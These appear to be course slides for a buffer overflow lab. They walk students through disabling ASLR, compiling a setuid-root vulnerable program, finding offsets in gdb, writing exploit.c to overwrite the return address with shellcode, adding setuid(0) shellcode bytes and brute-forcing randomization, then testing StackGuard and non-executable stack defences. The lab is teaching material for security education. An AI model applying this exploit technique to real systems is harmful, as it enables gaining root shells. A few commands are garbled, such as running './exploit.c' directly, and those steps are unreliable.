Lab 5: Buffer Overflow Attack

Demo

2.1 Turning Off Countermeasure

- Run command:

  sudo sysctl -w kernel.randomize_va_space=0

- Why
  1. This command disables randomization on the starting address of heap and stack.
  2. disabling randomization helps us easily to find the address of frame pointer.

2.1 Turning Off Countermeasure (Cont.)

- Run command:

  sudo rm /bin/sh

  sudo ln -s /bin/zsh /bin/sh

- Why?
  1. Before running commands above, the bin/sh links bin/dash. The countermeasure in /bin/dash makes our attack more difficult.
  2. So, we link /bin/sh to another shell(zsh) that does not have such a countermeasure.

2.2 Task 1: Running Shellcode

- Run command:

  gcc -z execstack -o call_shellcode call_shellcode.c

  ./call_shellcode

- Why?

  This command complies c file to an executable file. Therefore, we can run execute program.

- Observation:

  After running this program, a new shell is running.

2.4 Task 2: Exploiting the Vulnerability

- Run command:

```
gcc -z execstack -fno-stack-protector -g -o stack stack.c
sudo chown root stack
sudo chmod 4755 stack
touch badfile
```

Compile stack.c with executable stacks and no Stack-Guard

- Command explanation:
  1. -z execstack: allow executable stacks
  2. -fno-stack-protector: disable Stack-Guard to prevent buffer overflows
  3. -g: debugging information is added to the binary

2.4 Task 2: Exploiting the Vulnerability (Cont.)

- Find the current frame pointer :

In this case, frame pointer is

0xbfffea18

- You may have a different value from the dbg.

```
[11/15/21]seed@VM:~/.../lab4$ gdb stack
  GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
  ...
  gdb-peda$ b bof
  Breakpoint 1 at 0x80484f1: file stack.c, line 21.
  gdb-peda$ run
  ...
  Breakpoint 1, bof (str=0xbfffea57 'a' <repeats 21 times>, "\n") at stack.c:21
  21              strcpy(buffer, str);
  gdb-peda$ p $ebp
  $1 = (void *) 0xbfffea18
  gdb-peda$ p &buffer
  $2 = (char (*)[24]) 0xbfffe9f8
  gdb-peda$ p/d 0xbfffea18 - 0xbfffe9f8
  $3 = 32
  gdb-peda$
```

2.4 Task 2: Exploiting the Vulnerability (Cont.)

- Edit file exploit.c :

```
size_t start = 517 - sizeof(shellcode);                    // find the starting index for copying
memcpy(buffer + start, shellcode, sizeof(shellcode)); // copying shellcodes into the buffer variable
size_t stack_buffer_size = 32;                             // given buffer size from stack.c.
size_t return_addr = stack_buffer_size + 4;                // calculate the return address
```

Note: value 0xbfffea18 is from previous slide

```
// return value(hex) = frame pointer (hex) + 64(hex) = 0xbfffea18 + 64 = 0xBFFFEA7C
buffer[return_addr + 0] = 0x7C;  // The fourth byte of the return value is in return_addr[0]
buffer[return_addr + 1] = 0xEA;
buffer[return_addr + 2] = 0xFF;
buffer[return_addr + 3] = 0xBF;  // the first byte is in return_addr[3].
```

2.4 Task 2: Exploiting the Vulnerability (Cont.)

- Compile exploit.c:

  gcc -o exploit exploit.c

- Run exploit.c:

  ./exploit.c

Right now, we have created a badfile with malicious codes.

2.4 Task 2: Exploiting the Vulnerability (Cont.)

- Compile exploit.c:

  gcc -o exploit exploit.c

- Run exploit:

  ./exploit

Run stack:

./exploit.c

Right now, we should see a new shell on the screen.

2.5 Task 3: Defeating dash's Countermeasure

- Run command:

  sudo rm /bin/sh

  sudo ln -s /bin/dash /bin/sh

- Insert follow code to exploit.c right after char shellcode

  "\x31\xc0" /* Line 1: xorl %eax,%eax */
  "\x31\xdb" /* Line 2: xor %ebx,%ebx */
  "\xb0\xd5" /* Line 3: movb $0xd5,%al */
  "\xcd\x80" /* Line 4: int $0x80 */

  You can find these codes and instructions on page 8 and 9 from our lab procedure

- Repeat the Task 2, then you can get a root shell.

2.6 Task 4: Defeating Address Randomization

- Run command:

  sudo /sbin/sysctl -w kernel.randomize_va_space=2

  Randomizing stack and heap address

- Run brute-force.sh

  bash brute-force.sh

- This task may be time-consuming since using a brute-force. If the task takes too long(more than 30 mins), you can stop and redo it.

  Don’t hurt yourself.

2.7 Task 5: Turn on the StackGuard Protection

- Run:

  sudo sysctl -w kernel.randomize_va_space=0

- Repeat task 2 with

  gcc -z execstack -g -o stack stack.c

- Report your observation

2.8 Task 6: Turn on the Non-executable Stack Protection

- Run:

  sudo sysctl -w kernel.randomize_va_space=0

- Repeat task 2 with

  gcc -o stack -fno-stack-protector -z noexecstack stack.c

- Report your observation